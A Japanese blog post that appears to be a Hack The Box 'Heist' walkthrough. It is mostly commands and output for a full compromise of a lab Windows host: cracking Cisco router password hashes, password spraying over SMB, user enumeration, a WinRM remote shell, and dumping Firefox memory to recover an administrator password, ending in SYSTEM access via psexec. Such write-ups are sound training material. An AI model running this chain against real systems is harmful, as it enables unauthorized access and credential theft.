セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Heist Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m05s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-17T14:24:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.88 seconds

全部のポートにやったら他にも開いていた。

root@kali:~# nmap -p- 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 284.99 seconds

80、445、5985あたりが狙い目だろう。

ブラウザで80番へアクセス

ログイン画面。 f:id:Paichan:20201109225435p:plain
右下にあるLogin as guestをすると以下のような画面。 f:id:Paichan:20201109225510p:plain Attachmentを選択すると、以下の画面。cisco routerのconfigテキストらしきもののようだ。 f:id:Paichan:20201109225537p:plain type5のパスワードハッシュ(MD5)と、type7のパスワードハッシュが計3つある(以下)。これらの平文パスワードを見つける。

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

パスワードクラック

type5のパスワード

root@kali:~/heist# echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.txt
root@kali:~/heist# john --wordlist=/usr/share/wordlists/rockyou.txt type5.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (?)
1g 0:00:01:23 DONE (2020-09-19 20:30) 0.01199g/s 42040p/s 42040c/s 42040C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed

stealth1agentというパスワードを取得。

type7のパスワード

オンラインのクラッカーがあったため、以下を利用して平文を取得することに成功した。
Cisco Type 7 Reverser - PacketLife.net
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d

445ポートの調査

smbmapを使ってみるが、認証エラー。

root@kali:~/heist# smbmap -H 10.10.10.149
[!] Authentication error on 10.10.10.149

Crackmapexecをインストール

気になっていたcrackmapexecを使う。以下の流れでインストール。
参考:https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

# apt install -y libssl-dev libffi-dev python-dev build-essential
# git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
# python3 setup.py install
# crackmapexec
usage: cme [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {winrm,smb,mssql,ldap,ssh} ...

      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                                         A swiss army knife for pentesting networks
                                    Forged by @byt3bl33d3r using the powah of dank memes

                                                      Version: 5.1.0dev
                                                     Codename: 3TH@n

optional arguments:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --darrell             give Darrell a hand
  --verbose             enable verbose output

protocols:
  available protocols

  {winrm,smb,mssql,ldap,ssh}
    winrm               own stuff using WINRM
    smb                 own stuff using SMB
    mssql               own stuff using MSSQL
    ldap                own stuff using ldap
    ssh                 own stuff using SSH

Ya feelin' a bit buggy all of a sudden?

認証試行

ここまで見つけたものから以下のuser.txt、password.txtを作成。

root@kali:~/heist# cat users.txt 
rout3e
admin
Hazard
root@kali:~/heist# cat password.txt 
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

crackmapexecでクラック。

root@kali:~/heist# crackmapexec smb 10.10.10.149 -u users.txt -p password.txt 
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Hazard:stealth1agent 

クラックできたら止まるらしい。

探索続き

crackmapexecで見つけた認証情報を使ってsmbmapを再度実行すると、IPC$がREAD ONLYであることが確認できた。

root@kali:~/heist# smbmap -H 10.10.10.149 -u Hazard -p stealth1agent
[+] IP: 10.10.10.149:445        Name: 10.10.10.149                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

rpcclientで接続してみる。(初めて使うから、試しながら)

root@kali:~/heist# rpcclient -U Hazard 10.10.10.149
Enter WORKGROUP\Hazard's password: 
rpcclient $> 
例えば。
rpcclient $> srvinfo
        10.10.10.149   Wk Sv NT SNT         
        platform_id     :       500
        os version      :       10.0
        server type     :       0x9003
rpcclient $> lookupnames Hazard
Hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
rpcclient $> lookupnames rout3r
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames admin
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames administrator
administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)

特に何も・・・。

ここで、impacketツール群の一つである、lookupsid.pyを使ってユーザを列挙してみる。

root@kali:~/tools/impacket/examples# python3 lookupsid.py Hazard:stealth1agent@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

いくつかユーザが見つかる。SID1000番台のsuppor、Chase、Jasonあたりを調べる。

5985ポートの調査

evil-winrmを使う。これも初。

Evil-WinRMツールは、WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用することのできるリモートシェルプログラムです。 Evil-WinRMツールを介することで、リモートのWindowsサーバーで稼働しているWinRMサービスに接続することができ、インタラクティブPowerShellを取得することができます これを使う。

参考:https://qiita.com/v_avenger/items/78b323d5e30276a20735

evil-winrmのインストール

# gem install winrm winrm-fs stringio
# git clone https://github.com/Hackplayers/evil-winrm.git

使う

ここまで見つけたユーザ名、パスワードを何パターンか試したところChaseと`Q4)sJu\Y8qz*A3?dでログイン成功。

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> 
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls


    Directory: C:\Users\Chase\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:08 AM            121 todo.txt
-a----        4/22/2019   9:07 AM             32 user.txt

これでuser.txtゲット。

権限昇格のための情報収集

各種ファイルの確認

user.txtと同じディレクトリにあるtodo.txtの中身は以下。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

続いて、ドキュメントルートにあるlogin.phpを見ると、ユーザ名、パスワードがハードコードされていることが確認できる。

*Evil-WinRM* PS C:\inetpub\wwwroot> cat login.php
(snip)
</body>
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
        if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
                $_SESSION['admin'] = "valid";
                header('Location: issues.php');
        }
        else
                header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
        if( $_GET['guest'] === 'true' ) {
                $_SESSION['guest'] = "valid";
                header('Location: issues.php');
        }
}


?>
</html>

オンラインサービスで試したが、91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040の平文は取得できなかった。

アプリケーションの確認

気になったのはfirefoxvmwarephpくらい。

*Evil-WinRM* PS C:\Program FIles> ls


    Directory: C:\Program FIles


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/21/2019   9:39 AM                Common Files
d-----        4/21/2019  11:00 AM                internet explorer
d-----        4/22/2019   6:56 AM                Mozilla Firefox
d-----        4/22/2019   6:47 AM                PHP
d-----        4/22/2019   6:46 AM                Reference Assemblies
d-----        4/22/2019   6:46 AM                runphp
d-----        8/27/2019   3:00 PM                VMware
d-r---        4/21/2019  11:00 AM                Windows Defender
d-----        4/21/2019  11:00 AM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:49 PM                Windows Mail
d-----        4/21/2019  11:00 AM                Windows Media Player
d-----        9/15/2018  12:49 PM                Windows Multimedia Platform
d-----        9/15/2018  12:58 PM                windows nt
d-----        4/21/2019  11:00 AM                Windows Photo Viewer
d-----        9/15/2018  12:49 PM                Windows Portable Devices
d-----        9/15/2018  12:49 PM                Windows Security
d-----        9/15/2018  12:49 PM                WindowsPowerShell

プロセスの確認

firefoxのプロセスがいくつかある。一番CPUを使っているPID4668のメモリダンプをとりたい。

*Evil-WinRM* PS C:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    463      18     2436       5620               404   0 csrss
    295      17     2352       5292               492   1 csrss
    358      15     3572      14500              5128   1 ctfmon
    164       9     1836       9792       0.03   2664   1 dllhost
    259      14     4100      13584              3912   0 dllhost
    617      32    33376      59068              1000   1 dwm
   1491      57    23548      78484              5416   1 explorer
    390      31    39272      71868      48.92   4668   1 firefox
    358      25    16236      37652       0.50   6368   1 firefox
   1132      69   128224     167868      24.63   6784   1 firefox
    343      19     9944      37212       0.06   6908   1 firefox
    407      31    17356      63148       1.59   7160   1 firefox
     49       6     1432       3620               804   0 fontdrvhost
     49       6     1788       4684               812   1 fontdrvhost
(snip)

procdumpでPID4668のメモリダンプを取得

Powersploitのout-minidump.ps1の実行がうまくいかなかったので、sysinternalsのprocdumpを使う。

*Evil-WinRM* PS C:\Users\Chase\Desktop> upload /root/tools/SysinternalsSuite/procdump.exe
Info: Uploading /root/tools/SysinternalsSuite/procdump.exe to C:\Users\Chase\Desktop\procdump.exe

                                                             
Data: 967156 bytes of 967156 bytes copied

Info: Upload successful!

実行する。

*Evil-WinRM* PS C:\Users\Chase\Desktop> ./procdump.exe -ma 4668 -accepteula

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:12:34] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_200919_201234.dmp
[20:12:34] Dump 1 writing: Estimated dump file size is 309 MB.
[20:12:37] Dump 1 complete: 309 MB written in 2.6 seconds
[20:12:37] Dump count reached.

同様にstringsを持っていき、実行後(result.txt)、login.phpにあったパラメータ(login_password)でフィルター。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat result.txt | sls "login_password"

MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

adminパスワードが見つかる。
4dD!5}x/re8]FBuZ

rootシェル奪取

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:05 AM             32 root.txt

psexecでも行ける。

root@kali:~/tools/impacket/examples# python3 psexec.py Administrator:'4dD!5}x/re8]FBuZ'@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.149.....
[*] Found writable share ADMIN$
[*] Uploading file ETfPZfVT.exe
[*] Opening SVCManager on 10.10.10.149.....
[*] Creating service GWIA on 10.10.10.149.....
[*] Starting service GWIA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system